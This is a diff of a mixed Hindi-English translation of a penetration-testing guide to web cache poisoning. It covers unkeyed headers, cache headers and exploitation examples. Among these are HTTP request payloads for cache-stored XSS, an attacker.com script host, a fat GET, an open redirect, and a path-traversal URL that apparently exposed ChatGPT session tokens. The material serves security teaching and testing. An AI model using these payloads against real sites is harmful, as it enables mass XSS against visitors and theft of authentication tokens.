-рдЖрдк [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрди parameters рдФрд░ headers рдХреЛ brute-force рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдкреЗрдЬ рдХреА response рдХреЛ рдмрджрд▓ рд░рд╣реЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рдкреЗрдЬ header `X-Forwarded-For` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ client рдХреЛ рд╡рд╣рд╛рдВ рд╕реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрдХреЗрдд рджрд┐рдпрд╛ рдЬрд╛рдП:
+рдЖрдк [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрди parameters рдФрд░ headers рдХреЛ **brute-force рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рдЬреЛ рдкреЗрдЬ рдХреЗ response рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рдкреЗрдЬ header `X-Forwarded-For` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ client рдХреЛ рд╡рд╣рд╛рдВ рд╕реЗ script рд▓реЛрдб рдХрд░рдиреЗ рдХрд╛ рдирд┐рд░реНрджреЗрд╢ рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ:
```html
```
### рдмреИрдХ-рдПрдВрдб рд╕рд░реНрд╡рд░ рд╕реЗ рд╣рд╛рдирд┐рдХрд╛рд░рдХ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВ
-With the parameter/header identified check how it is being **sanitised** and **where** is it **getting reflected** or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...)
+рдкреИрд░рд╛рдореАрдЯрд░/рд╣реЗрдбрд░ рдкрд╣рдЪрд╛рдирдиреЗ рдХреЗ рдмрд╛рдж рдпрд╣ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдЗрд╕реЗ рдХреИрд╕реЗ **sanitised** рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рдФрд░ рдпрд╣ **рдХрд╣рд╛рдВ** **getting reflected** рд╣реЛ рд░рд╣рд╛ рд╣реИ рдпрд╛ рд╣реЗрдбрд░ рд╕реЗ response рдХреЛ рдХреИрд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░ рд░рд╣рд╛ рд╣реИред рдХреНрдпрд╛ рдЖрдк рдЗрд╕реЗ рдХрд┐рд╕реА рддрд░рд╣ abuse рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдПрдХ XSS рдпрд╛ рдЕрдкрдирд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд JS рдХреЛрдб рд▓реЛрдб рдХрд░рдирд╛? DoS рдХрд░рдирд╛? ...)
-### рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдХреИрд╢ рдХрд░рд╛рдПрдБ
+### рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдХреИрд╢ рдХрд░рд╡рд╛рдПрдБ
-Once you have **identified** the **page** that can be abused, which **parameter**/**header** to use and **how** to **abuse** it, you need to get the page cached. Depending on the resource you are trying to get in the cache this could take some time, you might need to be trying for several seconds.
+рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдкрдиреЗ рд╡рд╣ **page** рдкрд╣рдЪрд╛рди рд▓рд┐рдпрд╛ рд╣реИ рдЬрд┐рд╕реЗ abuse рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдХреМрди рд╕рд╛ **parameter**/**header** рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ **рдХреИрд╕реЗ** **abuse** рдХрд░рдирд╛ рд╣реИ, рддреЛ рдЖрдкрдХреЛ рдкреГрд╖реНрда рдХреЛ рдХреИрд╢ рдХрд░рд╛рдирд╛ рд╣реЛрдЧрд╛ред рдЬрд┐рд╕ resource рдХреЛ рдЖрдк cache рдореЗрдВ рд▓рд╛рдирд╛ рдЪрд╛рд╣ рд░рд╣реЗ рд╣реИрдВ рдЙрд╕рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдпрд╣ рдХреБрдЫ рд╕рдордп рд▓реЗ рд╕рдХрддрд╛ рд╣реИ, рдЖрдкрдХреЛ рдХреБрдЫ рд╕реЗрдХрдВрдб рддрдХ рдХреЛрд╢рд┐рд╢ рдХрд░рдиреА рдкрдбрд╝ рд╕рдХрддреА рд╣реИред
-The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\
-The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800`
+рд░рд┐рд╕реНрдкреЙрдиреНрд╕ рдореЗрдВ рдореМрдЬреВрдж рд╣реЗрдбрд░ **`X-Cache`** рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдореЗрдВ рдорд╛рди **`miss`** рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬрдм request cached рдирд╣реАрдВ рдерд╛ рдФрд░ рдорд╛рди **`hit`** рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬрдм рдпрд╣ cached рд╣реЛред\
+рд╣реЗрдбрд░ **`Cache-Control`** рдпрд╣ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рднреА рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХрд┐ рдХреЛрдИ resource cache рд╣реЛ рд░рд╣рд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВ рдФрд░ рдЕрдЧрд▓реА рдмрд╛рд░ resource рдХрдм рдлрд┐рд░ рд╕реЗ cache рд╣реЛрдЧрд╛: `Cache-Control: public, max-age=1800`
-Another interesting header is **`Vary`**. This header is often used to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`.
+рдПрдХ рдФрд░ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЗрдбрд░ рд╣реИ **`Vary`**ред рдпрд╣ рд╣реЗрдбрд░ рдЕрдХреНрд╕рд░ рдЙрди рдЕрддрд┐рд░рд┐рдХреНрдд рд╣реЗрдбрд░реЛрдВ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ **cache key рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛** рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рднрд▓реЗ рд╣реА рд╡реЗ рд╕рд╛рдорд╛рдиреНрдпрддрдГ unkeyed рд╣реЛрдВред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ attacker рдХреЛ рдЙрд╕ рд▓рдХреНрд╖реНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ `User-Agent` рдкрддрд╛ рд╣реИ, рддреЛ рд╡рд╣ рдЙрд╕реА рд╡рд┐рд╢рд┐рд╖реНрдЯ `User-Agent` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ users рдХреЗ рд▓рд┐рдП cache рдХреЛ poison рдХрд░ рд╕рдХрддрд╛ рд╣реИред
-One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache.
+cache рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдПрдХ рдФрд░ рд╣реЗрдбрд░ рд╣реИ **`Age`**ред рдпрд╣ рд╕реЗрдХрдВрдб рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ object proxy cache рдореЗрдВ рдХрд┐рддрдиреЗ рд╕рдордп рд╕реЗ рд╣реИред
-When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working.
+рдХрд┐рд╕реА request рдХреЛ cache рдХрд░рддреЗ рд╕рдордп, рдЖрдк рдЬрд┐рди рд╣реЗрдбрд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реИрдВ рдЙрдирд╕реЗ рд╕рд╛рд╡рдзрд╛рди рд░рд╣реЗрдВ рдХреНрдпреЛрдВрдХрд┐ рдХреБрдЫ рд╣реЗрдбрд░ рдЕрдирдкреЗрдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ **keyed** рдХреЗ рд░реВрдк рдореЗрдВ рдЗрд╕реНрддреЗрдорд╛рд▓ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ **victim рдХреЛ рд╡рд╣реА рд╣реЗрдбрд░ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реЛрдЧрд╛**ред рд╣рдореЗрд╢рд╛ рд╡рд┐рднрд┐рдиреНрди рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ Cache Poisoning рдХрд╛ **test** рдХрд░реЗрдВ рддрд╛рдХрд┐ рдкрддрд╛ рдЪрд▓ рд╕рдХреЗ рдХрд┐ рдпрд╣ рдХрд╛рдо рдХрд░ рд░рд╣рд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВред
## Exploiting Examples
-### Easiest example
+### рд╕рдмрд╕реЗ рдЖрд╕рд╛рди рдЙрджрд╛рд╣рд░рдг
-A header like `X-Forwarded-For` is being reflected in the response unsanitized.\
-You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed:
+`X-Forwarded-For` рдЬреИрд╕реЗ рд╣реЗрдбрд░ рдХреЛ response рдореЗрдВ рдмрд┐рдирд╛ sanitize рдХрд┐рдП рд░рд┐рдлреНрд▓реЗрдХреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред\
+рдЖрдк рдПрдХ рдмреЗрд╕рд┐рдХ XSS payload рднреЗрдЬ рдХрд░ cache рдХреЛ poison рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЬреЛ рдХреЛрдИ рднреА рдкреЗрдЬ рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░реЗ рд╡рд╣ XSSed рд╣реЛ рдЬрд╛рдП:
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a.">"
```
-_рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ `/en?region=uk` рдХреЗ рд▓рд┐рдП рдПрдХ request рдХреЛ poison рдХрд░реЗрдЧрд╛, `/en` рдХреЗ рд▓рд┐рдП рдирд╣реАрдВ_
+_Note that this will poison a request to `/en?region=uk` not to `/en`_
### Cache poisoning to DoS
@@ -80,23 +81,23 @@ cache-poisoning-to-dos.md
### Cache poisoning through CDNs
-рдЗрд╕ **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕рд░рд▓ рдкрд░рд┐рджреГрд╢реНрдп рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ:
+**[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕рд░рд▓ рдкрд░рд┐рджреГрд╢реНрдп рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ:
-- The CDN will cache anything under `/share/`
-- CDN `%2F..%2F` рдХреЛ decode рдпрд╛ normalize рдирд╣реАрдВ рдХрд░реЗрдЧрд╛, рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ **path traversal to access other sensitive locations that will be cached** рдХреЗ рд░реВрдк рдореЗрдВ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
-- The web server WILL decode and normalize `%2F..%2F`, рдФрд░ `/api/auth/session` рдХреЗ рд╕рд╛рде respond рдХрд░реЗрдЧрд╛, рдЬреЛ **contains the auth token**ред
+- CDN `/share/` рдХреЗ рддрд╣рдд рдХрд┐рд╕реА рднреА рдЪреАрдЬрд╝ рдХреЛ cache рдХрд░реЗрдЧрд╛
+- CDN `%2F..%2F` рдХреЛ decode рдпрд╛ normalize рдирд╣реАрдВ рдХрд░реЗрдЧрд╛, рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ **path traversal to access other sensitive locations that will be cached** рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
+- рд╡реЗрдм рд╕рд░реНрд╡рд░ `%2F..%2F` рдХреЛ decode рдФрд░ normalize рдХрд░реЗрдЧрд╛, рдФрд░ `/api/auth/session` рдХреЗ рд╕рд╛рде response рджреЗрдЧрд╛, рдЬрд┐рд╕рдореЗрдВ **auth token** рд╣реЛрддрд╛ рд╣реИред
### Using web cache poisoning to exploit cookie-handling vulnerabilities
-Cookies рдХрд┐рд╕реА рдкреЗрдЬ рдХреЗ response рдореЗрдВ рднреА reflected рд╣реЛ рд╕рдХрддреА рд╣реИрдВред рдпрджрд┐ рдЖрдк рдЗрд╕реЗ рдХрд┐рд╕реА XSS рдХреЛ trigger рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП abuse рдХрд░ рд╕рдХреЗрдВ, рддреЛ рдЖрдк рдЙрди рдХрдИ clients рдореЗрдВ XSS рдХрд╛ exploit рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ malicious cache response рдХреЛ load рдХрд░рддреЗ рд╣реИрдВред
+Cookies рдХрд┐рд╕реА рдкреЗрдЬ рдХреЗ response рдореЗрдВ рднреА reflect рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ рдЖрдк рдЗрд╕реЗ рдХрд┐рд╕реА XSS рдХреЛ trigger рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП abuse рдХрд░ рд╕рдХреЗрдВ, рддреЛ рдЖрдк рдЙрди рдХрдИ clients рдореЗрдВ XSS exploit рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ malicious cache response рд▓реЛрдб рдХрд░рддреЗ рд╣реИрдВред
```html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
-рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЕрдЧрд░ vulnerable cookie рдХреЛ users рдмрд╣реБрдд рдЬрд╝реНрдпрд╛рджрд╛ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рддреЛ regular requests cache рдХреЛ рд╕рд╛рдлрд╝ рдХрд░рддреА рд░рд╣реЗрдВрдЧреАред
+рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ the vulnerable cookie рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдмрд╣реБрдд рдЕрдзрд┐рдХ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХреА рдЬрд╛ рд░рд╣реА рд╣реИ, рддреЛ рдирд┐рдпрдорд┐рдд рдЕрдиреБрд░реЛрдз cache рдХреЛ рд╕рд╛рдлрд╝ рдХрд░рддреЗ рд░рд╣реЗрдВрдЧреЗред
-### Delimiters, normalization рдФрд░ dots рдХреЗ рд╕рд╛рде рд╡рд┐рд╕рдВрдЧрддрд┐рдпрд╛рдБ рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛
+### рдбрд┐рд▓рд┐рдореАрдЯрд░реНрд╕, рдиреЙрд░реНрдорд▓рд╛рдЗрдЬрд╝реЗрд╢рди рдФрд░ рдбреЙрдЯреНрд╕ рдХреЗ рд╕рд╛рде рд╡рд┐рд╕рдВрдЧрддрд┐рдпрд╛рдБ рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛
рджреЗрдЦреЗрдВ:
@@ -105,9 +106,9 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
cache-poisoning-via-url-discrepancies.md
{{#endref}}
-### API key рдЪреБрд░рд╛рдиреЗ рдХреЗ рд▓рд┐рдП path traversal рдХреЗ рд╕рд╛рде Cache poisoning
+### Cache poisoning with path traversal to steal API key
-[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) рдХреИрд╕реЗ рдПрдХ OpenAI API key `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` рдЬреИрд╕реЗ URL рдХреЗ рд╕рд╛рде рдЪреБрд░рд╛рдИ рдЬрд╛ рд╕рдХреА, рдХреНрдпреЛрдВрдХрд┐ `/share/*` рд╕реЗ рдореЗрд▓ рдЦрд╛рдиреЗ рд╡рд╛рд▓реА рдХреЛрдИ рднреА рдЪреАрдЬрд╝ Cloudflare рджреНрд╡рд╛рд░рд╛ URL рдХреЛ normalise рдХрд┐рдП рдмрд┐рдирд╛ cache рд╣реЛ рдЬрд╛рддреА рдереА, рдФрд░ URL рдХреЛ normalise рддрдм рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рдерд╛ рдЬрдм request рд╡реЗрдм рд╕рд░реНрд╡рд░ рддрдХ рдкрд╣реБрдБрдЪрддреА рдереАред
+[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.
рдпрд╣ рднреА рдмреЗрд╣рддрд░ рддрд░реАрдХреЗ рд╕реЗ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ:
@@ -116,18 +117,18 @@ cache-poisoning-via-url-discrepancies.md
cache-poisoning-via-url-discrepancies.md
{{#endref}}
-### web cache poisoning vulnerabilities рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП multiple headers рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛
+### Using multiple headers to exploit web cache poisoning vulnerabilities
-рдХрднреА-рдХрднреА cache рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ **exploit several unkeyed inputs** рдХрд░рдиреЗ рдХреА рдЬрд╝рд░реВрд░рдд рдкрдбрд╝рддреА рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЕрдЧрд░ рдЖрдк `X-Forwarded-Host` рдХреЛ рдЕрдкрдиреЗ рдХрдВрдЯреНрд░реЛрд▓ рд╡рд╛рд▓реЗ domain рдкрд░ рд╕реЗрдЯ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ `X-Forwarded-Scheme` рдХреЛ `http` рдкрд░ рд╕реЗрдЯ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдкрдХреЛ рдПрдХ **Open redirect** рдорд┐рд▓ рд╕рдХрддрд╛ рд╣реИред **If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** рдФрд░ redirect рдХреЗ рд▓рд┐рдП `X-Forwarded-Scheme` header рдХреЛ domain рдирд╛рдо рдХреЗ рд░реВрдк рдореЗрдВ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░ рд░рд╣рд╛ рд╣реЛ, рддреЛ рдЖрдк redirect рджреНрд╡рд╛рд░рд╛ рдкреГрд╖реНрда рдХрд╣рд╛рдБ point рд╣реЛрдЧрд╛ рдЙрд╕реЗ control рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
+рдХрднреА-рдХрднреА рдЖрдкрдХреЛ cache рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **exploit several unkeyed inputs** рдХрд░рдиреЗ рдХреА рдЬрд╝рд░реВрд░рдд рдкрдбрд╝реЗрдЧреАред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЖрдк `X-Forwarded-Host` рдХреЛ рдЕрдкрдиреЗ рдирд┐рдпрдВрддреНрд░рдг рд╡рд╛рд▓реЗ рдбреЛрдореЗрди рдкрд░ рд╕реЗрдЯ рдХрд░рдХреЗ рдФрд░ `X-Forwarded-Scheme` рдХреЛ `http` рдкрд░ рд╕реЗрдЯ рдХрд░рдХреЗ рдПрдХ **Open redirect** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред **If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as the domain name for the redirect, рддреЛ рдЖрдк redirect рджреНрд╡рд╛рд░рд╛ рдкреЗрдЬ рдХрд╣рд╛рдВ рдкреЙрдЗрдВрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
-### рд╕реАрдорд┐рдд `Vary`header рдХреЗ рд╕рд╛рде рд╢реЛрд╖рдг
+### Exploiting with limited `Vary`header
-рдпрджрд┐ рдЖрдкрдиреЗ рдкрд╛рдпрд╛ рдХрд┐ **`X-Host`** header рдХреЛ **domain name to load a JS resource** рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рд▓реЗрдХрд┐рди response рдореЗрдВ **`Vary`** header **`User-Agent`** рд╕реВрдЪрд┐рдд рдХрд░ рд░рд╣рд╛ рд╣реИред рддрдм, рдЖрдкрдХреЛ рдХрд┐рд╕реА рддрд░рд╣ рдкреАрдбрд╝рд┐рдд рдХрд╛ **`User-Agent`** exfiltrate рдХрд░рдиреЗ рдФрд░ рдЙрд╕ user agent рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ cache рдХреЛ poison рдХрд░рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рдЦреЛрдЬрдирд╛ рд╣реЛрдЧрд╛:
+рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ **`X-Host`** header рдХреЛ **domain name to load a JS resource** рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ **`Vary`** header **`User-Agent`** рджрд┐рдЦрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдкрдХреЛ victim рдХреЗ `User-Agent` рдХреЛ exfiltrate рдХрд░рдиреЗ рдФрд░ рдЙрд╕ user agent рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ cache рдХреЛ poison рдХрд░рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рдвреВрдБрдврдирд╛ рд╣реЛрдЧрд╛:
```html
GET / HTTP/1.1
Host: vulnerbale.net
@@ -136,7 +137,7 @@ X-Host: attacker.com
```
### Fat Get
-рдПрдХ GET request рднреЗрдЬреЗрдВ рдЬрд┐рд╕рдореЗрдВ рдЕрдиреБрд░реЛрдз URL рдФрд░ body рджреЛрдиреЛрдВ рдореЗрдВ рдореМрдЬреВрдж рд╣реЛред рдпрджрд┐ web server body рдореЗрдВ рдореМрдЬреВрдж рд╡рд╛рд▓реЗ рдХреЛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди cache server URL рдореЗрдВ рдореМрдЬреВрдж рд╡рд╛рд▓реЗ рдХреЛ cache рдХрд░ рд▓реЗрддрд╛ рд╣реИ, рддреЛ рдЬреЛ рднреА рдЙрд╕ URL рддрдХ рдкрд╣реБрдБрдЪреЗрдЧрд╛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ body рд╕реЗ рдЖрдП parameter рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ред рдЬреИрд╕реЗ рдХрд┐ James Kettle рдиреЗ Github website рдкрд░ рдкрд╛рдпрд╛ рд╣реБрдЖ vuln:
+URL рдФрд░ body рджреЛрдиреЛрдВ рдореЗрдВ request рд░рдЦрдХрд░ рдПрдХ GET request рднреЗрдЬреЗрдВред рдпрджрд┐ web server body рд╡рд╛рд▓рд╛ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди cache server URL рд╡рд╛рд▓реА рдХреЛ cache рдХрд░ рд▓реЗрддрд╛ рд╣реИ, рддреЛ рдЬреЛ рдХреЛрдИ рднреА рдЙрд╕ URL рддрдХ рдкрд╣реБрдБрдЪреЗрдЧрд╛ рд╡рд╣ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ body рд╕реЗ рдЖрдП parameter рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ред рдЬреИрд╕реЗ рдХрд┐ Github рд╡реЗрдмрд╕рд╛рдЗрдЯ рдкрд░ James Kettle рджреНрд╡рд╛рд░рд╛ рдкрд╛рдпрд╛ рдЧрдпрд╛ vuln:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@@ -145,70 +146,70 @@ Content-Length: 22
report=innocent-victim
```
-There is a PortSwigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
+There is a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### Parameter Cloacking
-рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП ruby рд╕рд░реНрд╡рд░реЛрдВ рдореЗрдВ **parameters** рдХреЛ рдЕрд▓рдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП char **`;`** рдХрд╛ рдЙрдкрдпреЛрдЧ **`&`** рдХреА рдмрдЬрд╛рдп рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ unkeyed parameters values рдХреЛ keyed ones рдХреЗ рдЕрдВрджрд░ рдбрд╛рд▓рдиреЗ рдФрд░ рдЙрдирдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
+For example it's possible to separate **parameters** in ruby servers using the char **`;`** instead of **`&`**. This could be used to put unkeyed parameters values inside keyed ones and abuse them.
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
-рдпрд╣рд╛рдВ рд╕реАрдЦреЗрдВ рдХрд┐ рдХреИрд╕реЗ [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning) рдХреЛ рдЕрдВрдЬрд╛рдо рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
+Learn here about how to perform [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
### Automated testing for Web Cache Poisoning
